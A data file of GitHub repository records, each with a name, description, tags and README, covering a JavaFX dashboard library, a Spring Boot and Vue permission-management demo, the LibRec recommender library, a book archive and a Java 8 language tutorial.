A JavaFX library containing tiles that can be used for dashboards.
dashboards java javafx javafx-components javafx-library
## TilesFX <br> A JavaFX library containing tiles for Dashboards. Donations are welcome at [Paypal](https://paypal.me/hans0l0) ## Intro The Tile is a simple JavaFX Control that comes with different skins. To get an idea on how to use the skins with their parameters you could either take a look at the [Demo file](https://github.com/HanSolo/tilesfx/blob/master/src/main/java/eu/hansolo/tilesfx/Demo.java) or check out the [TilesFX Demo](https://github.com/HanSolo/tilesfxdemo) project which also contains information on how to combine TilesFX with other libraries e.g. [Medusa](https://github.com/HanSolo/Medusa) You can also check my [blog](https://harmoniccode.blogspot.com/search/label/tilesfx) where you will find additional information about certain tiles. ## Demo To run the demo you simply can start it using the command "./gradlew Demo" on the command line in the project folder. ## Overview ![Overview](https://raw.githubusercontent.com/HanSolo/tilesfx/master/TilesFX.png) ## Credits <div>Flag icons made by <a href="https://www.flaticon.com/authors/freepik" title="Freepik">Freepik</a> from <a href="https://www.flaticon.com/" title="Flaticon">www.flaticon.com</a></div>
0
Heeexy/SpringBoot-Shiro-Vue
提供一套基于Spring Boot-Shiro-Vue的权限管理思路.前后端都加以控制,做到按钮/接口级别的权限。(当前新版本已移除shiro依赖,简化了配置)
permissions shiro springboot vue
# Spring Boot-Shiro-Vue 提供一套基于SpringBoot-shiro-vue的权限管理思路. 前后端都加以控制,做到按钮/接口级别的权限 # DEMO [测试地址](https://g.heeexy.com) admin/123456 管理员身份登录,可以新增用户,角色. 角色可以分配权限 控制菜单是否显示,新增/删除按钮是否显示 # 更新记录 v2.0.0 2021.05.09 1. 支持一个用户多个角色 2. 使用token作为登录凭证,不使用session,避免跨域问题 3. 使用自定义注解+aop 替代shiro的功能,简化了配置,增强了可拓展性 # 设计思路 ### 核心 每个登录用户拥有各自的N条权限,比如 文章:查看/编辑/发布/删除 ### 后端 基于 [RBAC新解](http://globeeip.iteye.com/blog/1236167) . 通常我们的权限设计都是 用户--角色--权限 ,其中**角色**是我们写代码的人没法控制的,它可以有多条权限,每个用户又可以设计为拥有多个角色.因此如果从角色着手进行权限验证,系统都必须根据用户的配置动起来,非常复杂. 所以我们后台设计的关键点就在于: **后台接口只验证权限,不看角色.** 角色的作用其实只是用来管理分配权限的,真正的验证只验证**权限** ,而不去管你是否是那种角色.体现在代码上就是接口上注解为 ```java @RequiresPermissions("article:add") ``` 而不是 ```java @RequiresRoles(value = {"admin","manager","writer"}, logical = Logical.OR) ``` ![api权限](https://img.heeexy.com/api-permission.png) ### 前端 采用了[vueAdmin-template](https://github.com/PanJiaChen/vueAdmin-template) , [ElementUI](https://github.com/ElemeFE/element) , 权限设计思路也是参考了 vueAdmin 的动态路由的设计. 后端负责了接口的安全性,而前端之所以要做权限处理,最主要的目的就是**隐藏掉不具有权限的菜单(路由)和按钮**. 登录系统后,后端返回此用户的权限信息,比如 ```json "userPermission":{ "menuList":[ "role", "user", "article" ], "roleId":1, "nickname":"超级用户", "roleName":"管理员", "permissionList":[ "article:list", "article:add", "user:list", ], "userId":10003 } ``` 根据**menuList**判断给此用户生成哪些路由, 根据**permissionList**判断给用户显示哪些按钮,能请求哪些接口. ### 数据库 最主要的是要有一张本系统内的全部权限明细表,比如下面这样 ![权限表](https://img.heeexy.com/permissionDatabase.png) ![权限数据](https://img.heeexy.com/permissionData.png) 如果某用户拥有表格中前五条权限,就可以查出他就拥有article和user两个菜单,至于页面内是否显示(新增)(修改)按钮,就根据他的permissionList来判断. ## 具体实现 有了思路,就可以根据各自的业务进行实现,本项目在此进行了简单的实现,后端代码在back文件夹,前端代码在vue文件夹.前端启动只需 ``` npm install npm run dev ``` 后端就是常规的shiro配置,前端代码如果看不明白,可以参考[前端权限代码说明](./explain-frontend.md) ## 分配权限页面效果 ![分配权限页面](https://img.heeexy.com/role_permission.png)
0
guoguibing/librec
LibRec: A Leading Java Library for Recommender Systems, see
collaborative collaborative-filtering factorization filtering java matrix matrix-factorization probabilistic-graphical-models recommendation-algorithms recommender recommender-systems sparse systems tensor tensor-factorization
<img src="http://librec.net/images/logo.png" height="25%" width="25%" /> **LibRec** (https://guoguibing.github.io/librec/index.html) is a Java library for recommender systems (Java version 1.7 or higher required). It implements a suit of state-of-the-art recommendation algorithms, aiming to resolve two classic recommendation tasks: **rating prediction** and **item ranking**. [![Join the chat at https://gitter.im/librec/Lobby](https://badges.gitter.im/librec/Lobby.svg)](https://gitter.im/librec/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)[![Build Status](https://travis-ci.org/guoguibing/librec.svg?branch=2.0.0)](https://travis-ci.org/guoguibing/librec) ### LibRec Demo A movie recommender system is designed and [available here](http://demo.librec.net). ### Documentation Please refer to [LibRec Documentation](http://wiki.librec.net) and [API Documentation](http://librec.net/doc/librec-v2.0/) ### Authors Words about the NEW Version It has been a year since the last version was released. In this year, lots of changes have been taken to the LibRec project, and the most significant one is the formulation of the LibRec team. The team pushes forward the development of LibRec with the wisdom of many experts, and the collaboration of experienced and enthusiastic contributors. Without their great efforts and hardworking, it is impossible to reach the state that a single developer may dream of. LibRec 2.0 is not the end of our teamwork, but just the begining of greater objectives. We aim to continously provide NEXT versions for better experience and performance. There are many directions and goals in plan, and we will do our best to make them happen. It is always exciting to receive any code contributions, suggestions, comments from all our LibRec users. We hope you enjoy the new version! PS: Follow us on WeChat to have first-hand and up-to-date information about LibRec. <img src="http://librec.net/images/mp.jpg" height="25%" width="25%" /> ### Features * **Rich Algorithms:** More than 70 recommendation algorithms have been implemented, and more will be done. * **High Modularity:** Six main components including data split, data conversion, similarity, algorithms, evaluators and filters. * **Great Performance:** More efficient implementations than other counterparts while producing comparable accuracy. * **Flexible Configuration:** Low coupling, flexible and either external textual or internal API configuration. * **Simple Usage:** Can get executed in a few lines of codes, and a number of demos are provided for easy start. * **Easy Expansion:** A set of recommendation interfaces for easy expansion to implement new recommenders. <div style="text-align:center;"><img src="http://librec.net/images/modules.jpg" width="500" /> </div> The procedure of LibRec is illustrated as follows. <div style="text-align:center;"><img src="http://librec.net/images/procedure.jpg" width="600" /> </div> ### Download by maven ``` <dependency> <groupId>net.librec</groupId> <artifactId>librec-core</artifactId> <version>2.0.0</version> </dependency> ``` by packages * **[librec-v2.0](https://github.com/guoguibing/librec/archive/librec-src-v2.0.zip)** * **[librec-v1.3](http://www.librec.net/release/librec-v1.3.zip)** * **[librec-v1.2](http://www.librec.net/release/librec-v1.2.zip)** * **[librec-v1.1](http://www.librec.net/release/librec-v1.1.zip)** * **[librec-v1.0](http://www.librec.net/release/librec-v1.0.zip)** ### Execution You can run LibRec with configurations from command arguments: <pre> librec rec -exec -D rec.recommender.class=itemcluster -D rec.pgm.number=10 -D rec.iterator.maximum=20 </pre> or from a configuration file: <pre> librec rec -exec -conf itemcluster-test.properties </pre> ### Code Snippet You can use **LibRec** as a part of your projects, and use the following codes to run a recommender. <pre> public void main(String[] args) throws Exception { // recommender configuration Configuration conf = new Configuration(); Resource resource = new Resource("rec/cf/userknn-test.properties"); conf.addResource(resource); // build data model DataModel dataModel = new TextDataModel(conf); dataModel.buildDataModel(); // set recommendation context RecommenderContext context = new RecommenderContext(conf, dataModel); RecommenderSimilarity similarity = new PCCSimilarity(); similarity.buildSimilarityMatrix(dataModel, true); context.setSimilarity(similarity); // training Recommender recommender = new UserKNNRecommender(); recommender.recommend(context); // evaluation RecommenderEvaluator evaluator = new MAEEvaluator(); recommender.evaluate(evaluator); // recommendation results List<RecommendedItem> recommendedItemList = recommender.getRecommendedList(); RecommendedFilter filter = new GenericRecommendedFilter(); recommendedItemList = filter.filter(recommendedItemList); } </pre> ### News Report * [An Introduction to Open-source Recommendaion Toolkit: LibRec](http://chuansong.me/n/1701947351918) [by ResysChina in Chinese] * [LibRec: an Open-source and Cross-platform Software for Recommender Systems](http://chuansong.me/n/1751521251128) [by InfoQ in Chinese] ### Acknowledgement We would like to express our appreciation to the following people for contributing source codes to LibRec, including [Prof. Robin Burke](http://josquin.cti.depaul.edu/~rburke/), [Bin Wu](https://github.com/wubin7019088), [Diego Monti](https://github.com/dmm42), [Ge Zhou](https://github.com/466152112), Li Wenxi, [Marco Mera](https://github.com/mmera), [Ran Locar](https://github.com/ranlocar), [Shawn Rutledge](https://github.com/shawndr), [ShuLong Chen](https://github.com/ChenSuL), [Tao Lian](https://github.com/taolian), [Takuya Kitazawa](https://github.com/takuti), [Zhaohua Hong](mailto:jstarcraft@gmail.com), Tan Jiale, [Daniel Velten](https://github.com/dvelten), [Qian Shaofeng](https://github.com/shitou112), etc. We gratefully thank Mr. Lijun Dai for designing and contributing the logo of LibRec, and also many thanks to [Mr. Jianbin Zhang](http://www.liaotian2020.com/) for implementing and sharing a [LibRec demo](http://demo.librec.net/). We also appreciate many others for reporting bugs and issues, and for providing valuable suggestions and support. ### Publications Please cite the following papers if LibRec is helpful to your research. 1. G. Guo, J. Zhang, Z. Sun and N. Yorke-Smith, [LibRec: A Java Library for Recommender Systems](http://ceur-ws.org/Vol-1388/demo_paper1.pdf), in Posters, Demos, Late-breaking Results and Workshop Proceedings of the 23rd Conference on User Modelling, Adaptation and Personalization (UMAP), 2015. 2. G. Guo, J. Zhang and N. Yorke-Smith, TrustSVD: Collaborative Filtering with Both the Explicit and Implicit Influence of User Trust and of Item Ratings, in Proceedings of the 29th AAAI Conference on Artificial Intelligence (AAAI), 2015, 123-129. 3. Z. Sun, G. Guo and J. Zhang, Exploiting Implicit Item Relationships for Recommender Systems, in Proceedings of the 23rd International Conference on User Modeling, Adaptation and Personalization (UMAP), 2015. ### GPL License LibRec is [free software](http://www.gnu.org/philosophy/free-sw.html): you can redistribute it and/or modify it under the terms of the [GNU General Public License (GPL)](http://www.gnu.org/licenses/gpl.html) as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. LibRec is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with LibRec. If not, see http://www.gnu.org/licenses/.
0
mymmsc/books
常用书籍
null
所有书籍均来自互联网的公开下载,如果收集的书籍涉及版权问题,请告知我删除它。 All books are downloaded from the Internet. If the collected books involve copyright issues, please let me know to delete them.
0
winterbe/java8-tutorial
Modern Java - A Guide to Java 8
guide java java-8 lambda-expressions learning parallel-streams stream tutorial
# Modern Java - A Guide to Java 8 _This article was originally posted on [my blog](http://winterbe.com/posts/2014/03/16/java-8-tutorial/)._ > **You should also read my [Java 11 Tutorial](https://winterbe.com/posts/2018/09/24/java-11-tutorial/) (including new language and API features from Java 9, 10 and 11).** Welcome to my introduction to [Java 8](https://jdk8.java.net/). This tutorial guides you step by step through all new language features. Backed by short and simple code samples you'll learn how to use default interface methods, lambda expressions, method references and repeatable annotations. At the end of the article you'll be familiar with the most recent [API](http://download.java.net/jdk8/docs/api/) changes like streams, functional interfaces, map extensions and the new Date API. **No walls of text, just a bunch of commented code snippets. Enjoy!** --- <p align="center"> ★★★ Like this project? Leave a star, <a href="https://twitter.com/winterbe_">follow on Twitter</a> or <a href="https://www.paypal.me/winterbe">donate</a> to support my work. Thanks! ★★★ </p> --- ## Table of Contents * [Default Methods for Interfaces](#default-methods-for-interfaces) * [Lambda expressions](#lambda-expressions) * [Functional Interfaces](#functional-interfaces) * [Method and Constructor References](#method-and-constructor-references) * [Lambda Scopes](#lambda-scopes) * [Accessing local variables](#accessing-local-variables) * [Accessing fields and static variables](#accessing-fields-and-static-variables) * [Accessing Default Interface Methods](#accessing-default-interface-methods) * [Built-in Functional Interfaces](#built-in-functional-interfaces) * [Predicates](#predicates) * [Functions](#functions) * [Suppliers](#suppliers) * [Consumers](#consumers) * [Comparators](#comparators) * [Optionals](#optionals) * [Streams](#streams) * [Filter](#filter) * [Sorted](#sorted) * [Map](#map) * [Match](#match) * [Count](#count) * [Reduce](#reduce) * [Parallel Streams](#parallel-streams) * [Sequential Sort](#sequential-sort) * [Parallel Sort](#parallel-sort) * [Maps](#maps) * [Date API](#date-api) * [Clock](#clock) * [Timezones](#timezones) * [LocalTime](#localtime) * [LocalDate](#localdate) * [LocalDateTime](#localdatetime) * [Annotations](#annotations) * [Where to go from here?](#where-to-go-from-here) ## Default Methods for Interfaces Java 8 enables us to add non-abstract method implementations to interfaces by utilizing the `default` keyword. This feature is also known as [virtual extension methods](http://stackoverflow.com/a/24102730). Here is our first example: ```java interface Formula { double calculate(int a); default double sqrt(int a) { return Math.sqrt(a); } } ``` Besides the abstract method `calculate` the interface `Formula` also defines the default method `sqrt`. Concrete classes only have to implement the abstract method `calculate`. The default method `sqrt` can be used out of the box. ```java Formula formula = new Formula() { @Override public double calculate(int a) { return sqrt(a * 100); } }; formula.calculate(100); // 100.0 formula.sqrt(16); // 4.0 ``` The formula is implemented as an anonymous object. The code is quite verbose: 6 lines of code for such a simple calculation of `sqrt(a * 100)`. As we'll see in the next section, there's a much nicer way of implementing single method objects in Java 8. ## Lambda expressions Let's start with a simple example of how to sort a list of strings in prior versions of Java: ```java List<String> names = Arrays.asList("peter", "anna", "mike", "xenia"); Collections.sort(names, new Comparator<String>() { @Override public int compare(String a, String b) { return b.compareTo(a); } }); ``` The static utility method `Collections.sort` accepts a list and a comparator in order to sort the elements of the given list. You often find yourself creating anonymous comparators and pass them to the sort method. Instead of creating anonymous objects all day long, Java 8 comes with a much shorter syntax, **lambda expressions**: ```java Collections.sort(names, (String a, String b) -> { return b.compareTo(a); }); ``` As you can see the code is much shorter and easier to read. But it gets even shorter: ```java Collections.sort(names, (String a, String b) -> b.compareTo(a)); ``` For one line method bodies you can skip both the braces `{}` and the `return` keyword. But it gets even shorter: ```java names.sort((a, b) -> b.compareTo(a)); ``` List now has a `sort` method. Also the java compiler is aware of the parameter types so you can skip them as well. Let's dive deeper into how lambda expressions can be used in the wild. ## Functional Interfaces How does lambda expressions fit into Java's type system? Each lambda corresponds to a given type, specified by an interface. A so called _functional interface_ must contain **exactly one abstract method** declaration. Each lambda expression of that type will be matched to this abstract method. Since default methods are not abstract you're free to add default methods to your functional interface. We can use arbitrary interfaces as lambda expressions as long as the interface only contains one abstract method. To ensure that your interface meet the requirements, you should add the `@FunctionalInterface` annotation. The compiler is aware of this annotation and throws a compiler error as soon as you try to add a second abstract method declaration to the interface. Example: ```java @FunctionalInterface interface Converter<F, T> { T convert(F from); } ``` ```java Converter<String, Integer> converter = (from) -> Integer.valueOf(from); Integer converted = converter.convert("123"); System.out.println(converted); // 123 ``` Keep in mind that the code is also valid if the `@FunctionalInterface` annotation would be omitted. ## Method and Constructor References The above example code can be further simplified by utilizing static method references: ```java Converter<String, Integer> converter = Integer::valueOf; Integer converted = converter.convert("123"); System.out.println(converted); // 123 ``` Java 8 enables you to pass references of methods or constructors via the `::` keyword. The above example shows how to reference a static method. But we can also reference object methods: ```java class Something { String startsWith(String s) { return String.valueOf(s.charAt(0)); } } ``` ```java Something something = new Something(); Converter<String, String> converter = something::startsWith; String converted = converter.convert("Java"); System.out.println(converted); // "J" ``` Let's see how the `::` keyword works for constructors. First we define an example class with different constructors: ```java class Person { String firstName; String lastName; Person() {} Person(String firstName, String lastName) { this.firstName = firstName; this.lastName = lastName; } } ``` Next we specify a person factory interface to be used for creating new persons: ```java interface PersonFactory<P extends Person> { P create(String firstName, String lastName); } ``` Instead of implementing the factory manually, we glue everything together via constructor references: ```java PersonFactory<Person> personFactory = Person::new; Person person = personFactory.create("Peter", "Parker"); ``` We create a reference to the Person constructor via `Person::new`. The Java compiler automatically chooses the right constructor by matching the signature of `PersonFactory.create`. ## Lambda Scopes Accessing outer scope variables from lambda expressions is very similar to anonymous objects. You can access final variables from the local outer scope as well as instance fields and static variables. ### Accessing local variables We can read final local variables from the outer scope of lambda expressions: ```java final int num = 1; Converter<Integer, String> stringConverter = (from) -> String.valueOf(from + num); stringConverter.convert(2); // 3 ``` But different to anonymous objects the variable `num` does not have to be declared final. This code is also valid: ```java int num = 1; Converter<Integer, String> stringConverter = (from) -> String.valueOf(from + num); stringConverter.convert(2); // 3 ``` However `num` must be implicitly final for the code to compile. The following code does **not** compile: ```java int num = 1; Converter<Integer, String> stringConverter = (from) -> String.valueOf(from + num); num = 3; ``` Writing to `num` from within the lambda expression is also prohibited. ### Accessing fields and static variables In contrast to local variables, we have both read and write access to instance fields and static variables from within lambda expressions. This behaviour is well known from anonymous objects. ```java class Lambda4 { static int outerStaticNum; int outerNum; void testScopes() { Converter<Integer, String> stringConverter1 = (from) -> { outerNum = 23; return String.valueOf(from); }; Converter<Integer, String> stringConverter2 = (from) -> { outerStaticNum = 72; return String.valueOf(from); }; } } ``` ### Accessing Default Interface Methods Remember the formula example from the first section? Interface `Formula` defines a default method `sqrt` which can be accessed from each formula instance including anonymous objects. This does not work with lambda expressions. Default methods **cannot** be accessed from within lambda expressions. The following code does not compile: ```java Formula formula = (a) -> sqrt(a * 100); ``` ## Built-in Functional Interfaces The JDK 1.8 API contains many built-in functional interfaces. Some of them are well known from older versions of Java like `Comparator` or `Runnable`. Those existing interfaces are extended to enable Lambda support via the `@FunctionalInterface` annotation. But the Java 8 API is also full of new functional interfaces to make your life easier. Some of those new interfaces are well known from the [Google Guava](https://code.google.com/p/guava-libraries/) library. Even if you're familiar with this library you should keep a close eye on how those interfaces are extended by some useful method extensions. ### Predicates Predicates are boolean-valued functions of one argument. The interface contains various default methods for composing predicates to complex logical terms (and, or, negate) ```java Predicate<String> predicate = (s) -> s.length() > 0; predicate.test("foo"); // true predicate.negate().test("foo"); // false Predicate<Boolean> nonNull = Objects::nonNull; Predicate<Boolean> isNull = Objects::isNull; Predicate<String> isEmpty = String::isEmpty; Predicate<String> isNotEmpty = isEmpty.negate(); ``` ### Functions Functions accept one argument and produce a result. Default methods can be used to chain multiple functions together (compose, andThen). ```java Function<String, Integer> toInteger = Integer::valueOf; Function<String, String> backToString = toInteger.andThen(String::valueOf); backToString.apply("123"); // "123" ``` ### Suppliers Suppliers produce a result of a given generic type. Unlike Functions, Suppliers don't accept arguments. ```java Supplier<Person> personSupplier = Person::new; personSupplier.get(); // new Person ``` ### Consumers Consumers represent operations to be performed on a single input argument. ```java Consumer<Person> greeter = (p) -> System.out.println("Hello, " + p.firstName); greeter.accept(new Person("Luke", "Skywalker")); ``` ### Comparators Comparators are well known from older versions of Java. Java 8 adds various default methods to the interface. ```java Comparator<Person> comparator = (p1, p2) -> p1.firstName.compareTo(p2.firstName); Person p1 = new Person("John", "Doe"); Person p2 = new Person("Alice", "Wonderland"); comparator.compare(p1, p2); // > 0 comparator.reversed().compare(p1, p2); // < 0 ``` ## Optionals Optionals are not functional interfaces, but nifty utilities to prevent `NullPointerException`. It's an important concept for the next section, so let's have a quick look at how Optionals work. Optional is a simple container for a value which may be null or non-null. Think of a method which may return a non-null result but sometimes return nothing. Instead of returning `null` you return an `Optional` in Java 8. ```java Optional<String> optional = Optional.of("bam"); optional.isPresent(); // true optional.get(); // "bam" optional.orElse("fallback"); // "bam" optional.ifPresent((s) -> System.out.println(s.charAt(0))); // "b" ``` ## Streams A `java.util.Stream` represents a sequence of elements on which one or more operations can be performed. Stream operations are either _intermediate_ or _terminal_. While terminal operations return a result of a certain type, intermediate operations return the stream itself so you can chain multiple method calls in a row. Streams are created on a source, e.g. a `java.util.Collection` like lists or sets (maps are not supported). Stream operations can either be executed sequentially or parallely. > Streams are extremely powerful, so I wrote a separate [Java 8 Streams Tutorial](http://winterbe.com/posts/2014/07/31/java8-stream-tutorial-examples/). **You should also check out [Sequency](https://github.com/winterbe/sequency) as a similiar library for the web.** Let's first look how sequential streams work. First we create a sample source in form of a list of strings: ```java List<String> stringCollection = new ArrayList<>(); stringCollection.add("ddd2"); stringCollection.add("aaa2"); stringCollection.add("bbb1"); stringCollection.add("aaa1"); stringCollection.add("bbb3"); stringCollection.add("ccc"); stringCollection.add("bbb2"); stringCollection.add("ddd1"); ``` Collections in Java 8 are extended so you can simply create streams either by calling `Collection.stream()` or `Collection.parallelStream()`. The following sections explain the most common stream operations. ### Filter Filter accepts a predicate to filter all elements of the stream. This operation is _intermediate_ which enables us to call another stream operation (`forEach`) on the result. ForEach accepts a consumer to be executed for each element in the filtered stream. ForEach is a terminal operation. It's `void`, so we cannot call another stream operation. ```java stringCollection .stream() .filter((s) -> s.startsWith("a")) .forEach(System.out::println); // "aaa2", "aaa1" ``` ### Sorted Sorted is an _intermediate_ operation which returns a sorted view of the stream. The elements are sorted in natural order unless you pass a custom `Comparator`. ```java stringCollection .stream() .sorted() .filter((s) -> s.startsWith("a")) .forEach(System.out::println); // "aaa1", "aaa2" ``` Keep in mind that `sorted` does only create a sorted view of the stream without manipulating the ordering of the backed collection. The ordering of `stringCollection` is untouched: ```java System.out.println(stringCollection); // ddd2, aaa2, bbb1, aaa1, bbb3, ccc, bbb2, ddd1 ``` ### Map The _intermediate_ operation `map` converts each element into another object via the given function. The following example converts each string into an upper-cased string. But you can also use `map` to transform each object into another type. The generic type of the resulting stream depends on the generic type of the function you pass to `map`. ```java stringCollection .stream() .map(String::toUpperCase) .sorted((a, b) -> b.compareTo(a)) .forEach(System.out::println); // "DDD2", "DDD1", "CCC", "BBB3", "BBB2", "AAA2", "AAA1" ``` ### Match Various matching operations can be used to check whether a certain predicate matches the stream. All of those operations are _terminal_ and return a boolean result. ```java boolean anyStartsWithA = stringCollection .stream() .anyMatch((s) -> s.startsWith("a")); System.out.println(anyStartsWithA); // true boolean allStartsWithA = stringCollection .stream() .allMatch((s) -> s.startsWith("a")); System.out.println(allStartsWithA); // false boolean noneStartsWithZ = stringCollection .stream() .noneMatch((s) -> s.startsWith("z")); System.out.println(noneStartsWithZ); // true ``` #### Count Count is a _terminal_ operation returning the number of elements in the stream as a `long`. ```java long startsWithB = stringCollection .stream() .filter((s) -> s.startsWith("b")) .count(); System.out.println(startsWithB); // 3 ``` ### Reduce This _terminal_ operation performs a reduction on the elements of the stream with the given function. The result is an `Optional` holding the reduced value. ```java Optional<String> reduced = stringCollection .stream() .sorted() .reduce((s1, s2) -> s1 + "#" + s2); reduced.ifPresent(System.out::println); // "aaa1#aaa2#bbb1#bbb2#bbb3#ccc#ddd1#ddd2" ``` ## Parallel Streams As mentioned above streams can be either sequential or parallel. Operations on sequential streams are performed on a single thread while operations on parallel streams are performed concurrently on multiple threads. The following example demonstrates how easy it is to increase the performance by using parallel streams. First we create a large list of unique elements: ```java int max = 1000000; List<String> values = new ArrayList<>(max); for (int i = 0; i < max; i++) { UUID uuid = UUID.randomUUID(); values.add(uuid.toString()); } ``` Now we measure the time it takes to sort a stream of this collection. ### Sequential Sort ```java long t0 = System.nanoTime(); long count = values.stream().sorted().count(); System.out.println(count); long t1 = System.nanoTime(); long millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0); System.out.println(String.format("sequential sort took: %d ms", millis)); // sequential sort took: 899 ms ``` ### Parallel Sort ```java long t0 = System.nanoTime(); long count = values.parallelStream().sorted().count(); System.out.println(count); long t1 = System.nanoTime(); long millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0); System.out.println(String.format("parallel sort took: %d ms", millis)); // parallel sort took: 472 ms ``` As you can see both code snippets are almost identical but the parallel sort is roughly 50% faster. All you have to do is change `stream()` to `parallelStream()`. ## Maps As already mentioned maps do not directly support streams. There's no `stream()` method available on the `Map` interface itself, however you can create specialized streams upon the keys, values or entries of a map via `map.keySet().stream()`, `map.values().stream()` and `map.entrySet().stream()`. Furthermore maps support various new and useful methods for doing common tasks. ```java Map<Integer, String> map = new HashMap<>(); for (int i = 0; i < 10; i++) { map.putIfAbsent(i, "val" + i); } map.forEach((id, val) -> System.out.println(val)); ``` The above code should be self-explaining: `putIfAbsent` prevents us from writing additional if null checks; `forEach` accepts a consumer to perform operations for each value of the map. This example shows how to compute code on the map by utilizing functions: ```java map.computeIfPresent(3, (num, val) -> val + num); map.get(3); // val33 map.computeIfPresent(9, (num, val) -> null); map.containsKey(9); // false map.computeIfAbsent(23, num -> "val" + num); map.containsKey(23); // true map.computeIfAbsent(3, num -> "bam"); map.get(3); // val33 ``` Next, we learn how to remove entries for a given key, only if it's currently mapped to a given value: ```java map.remove(3, "val3"); map.get(3); // val33 map.remove(3, "val33"); map.get(3); // null ``` Another helpful method: ```java map.getOrDefault(42, "not found"); // not found ``` Merging entries of a map is quite easy: ```java map.merge(9, "val9", (value, newValue) -> value.concat(newValue)); map.get(9); // val9 map.merge(9, "concat", (value, newValue) -> value.concat(newValue)); map.get(9); // val9concat ``` Merge either put the key/value into the map if no entry for the key exists, or the merging function will be called to change the existing value. ## Date API Java 8 contains a brand new date and time API under the package `java.time`. The new Date API is comparable with the [Joda-Time](http://www.joda.org/joda-time/) library, however it's [not the same](http://blog.joda.org/2009/11/why-jsr-310-isn-joda-time_4941.html). The following examples cover the most important parts of this new API. ### Clock Clock provides access to the current date and time. Clocks are aware of a timezone and may be used instead of `System.currentTimeMillis()` to retrieve the current time in milliseconds since Unix EPOCH. Such an instantaneous point on the time-line is also represented by the class `Instant`. Instants can be used to create legacy `java.util.Date` objects. ```java Clock clock = Clock.systemDefaultZone(); long millis = clock.millis(); Instant instant = clock.instant(); Date legacyDate = Date.from(instant); // legacy java.util.Date ``` ### Timezones Timezones are represented by a `ZoneId`. They can easily be accessed via static factory methods. Timezones define the offsets which are important to convert between instants and local dates and times. ```java System.out.println(ZoneId.getAvailableZoneIds()); // prints all available timezone ids ZoneId zone1 = ZoneId.of("Europe/Berlin"); ZoneId zone2 = ZoneId.of("Brazil/East"); System.out.println(zone1.getRules()); System.out.println(zone2.getRules()); // ZoneRules[currentStandardOffset=+01:00] // ZoneRules[currentStandardOffset=-03:00] ``` ### LocalTime LocalTime represents a time without a timezone, e.g. 10pm or 17:30:15. The following example creates two local times for the timezones defined above. Then we compare both times and calculate the difference in hours and minutes between both times. ```java LocalTime now1 = LocalTime.now(zone1); LocalTime now2 = LocalTime.now(zone2); System.out.println(now1.isBefore(now2)); // false long hoursBetween = ChronoUnit.HOURS.between(now1, now2); long minutesBetween = ChronoUnit.MINUTES.between(now1, now2); System.out.println(hoursBetween); // -3 System.out.println(minutesBetween); // -239 ``` LocalTime comes with various factory methods to simplify the creation of new instances, including parsing of time strings. ```java LocalTime late = LocalTime.of(23, 59, 59); System.out.println(late); // 23:59:59 DateTimeFormatter germanFormatter = DateTimeFormatter .ofLocalizedTime(FormatStyle.SHORT) .withLocale(Locale.GERMAN); LocalTime leetTime = LocalTime.parse("13:37", germanFormatter); System.out.println(leetTime); // 13:37 ``` ### LocalDate LocalDate represents a distinct date, e.g. 2014-03-11. It's immutable and works exactly analog to LocalTime. The sample demonstrates how to calculate new dates by adding or subtracting days, months or years. Keep in mind that each manipulation returns a new instance. ```java LocalDate today = LocalDate.now(); LocalDate tomorrow = today.plus(1, ChronoUnit.DAYS); LocalDate yesterday = tomorrow.minusDays(2); LocalDate independenceDay = LocalDate.of(2014, Month.JULY, 4); DayOfWeek dayOfWeek = independenceDay.getDayOfWeek(); System.out.println(dayOfWeek); // FRIDAY ``` Parsing a LocalDate from a string is just as simple as parsing a LocalTime: ```java DateTimeFormatter germanFormatter = DateTimeFormatter .ofLocalizedDate(FormatStyle.MEDIUM) .withLocale(Locale.GERMAN); LocalDate xmas = LocalDate.parse("24.12.2014", germanFormatter); System.out.println(xmas); // 2014-12-24 ``` ### LocalDateTime LocalDateTime represents a date-time. It combines date and time as seen in the above sections into one instance. `LocalDateTime` is immutable and works similar to LocalTime and LocalDate. We can utilize methods for retrieving certain fields from a date-time: ```java LocalDateTime sylvester = LocalDateTime.of(2014, Month.DECEMBER, 31, 23, 59, 59); DayOfWeek dayOfWeek = sylvester.getDayOfWeek(); System.out.println(dayOfWeek); // WEDNESDAY Month month = sylvester.getMonth(); System.out.println(month); // DECEMBER long minuteOfDay = sylvester.getLong(ChronoField.MINUTE_OF_DAY); System.out.println(minuteOfDay); // 1439 ``` With the additional information of a timezone it can be converted to an instant. Instants can easily be converted to legacy dates of type `java.util.Date`. ```java Instant instant = sylvester .atZone(ZoneId.systemDefault()) .toInstant(); Date legacyDate = Date.from(instant); System.out.println(legacyDate); // Wed Dec 31 23:59:59 CET 2014 ``` Formatting date-times works just like formatting dates or times. Instead of using pre-defined formats we can create formatters from custom patterns. ```java DateTimeFormatter formatter = DateTimeFormatter .ofPattern("MMM dd, yyyy - HH:mm"); LocalDateTime parsed = LocalDateTime.parse("Nov 03, 2014 - 07:13", formatter); String string = formatter.format(parsed); System.out.println(string); // Nov 03, 2014 - 07:13 ``` Unlike `java.text.NumberFormat` the new `DateTimeFormatter` is immutable and **thread-safe**. For details on the pattern syntax read [here](https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html). ## Annotations Annotations in Java 8 are repeatable. Let's dive directly into an example to figure that out. First, we define a wrapper annotation which holds an array of the actual annotations: ```java @interface Hints { Hint[] value(); } @Repeatable(Hints.class) @interface Hint { String value(); } ``` Java 8 enables us to use multiple annotations of the same type by declaring the annotation `@Repeatable`. ### Variant 1: Using the container annotation (old school) ```java @Hints({@Hint("hint1"), @Hint("hint2")}) class Person {} ``` ### Variant 2: Using repeatable annotations (new school) ```java @Hint("hint1") @Hint("hint2") class Person {} ``` Using variant 2 the java compiler implicitly sets up the `@Hints` annotation under the hood. That's important for reading annotation information via reflection. ```java Hint hint = Person.class.getAnnotation(Hint.class); System.out.println(hint); // null Hints hints1 = Person.class.getAnnotation(Hints.class); System.out.println(hints1.value().length); // 2 Hint[] hints2 = Person.class.getAnnotationsByType(Hint.class); System.out.println(hints2.length); // 2 ``` Although we never declared the `@Hints` annotation on the `Person` class, it's still readable via `getAnnotation(Hints.class)`. However, the more convenient method is `getAnnotationsByType` which grants direct access to all annotated `@Hint` annotations. 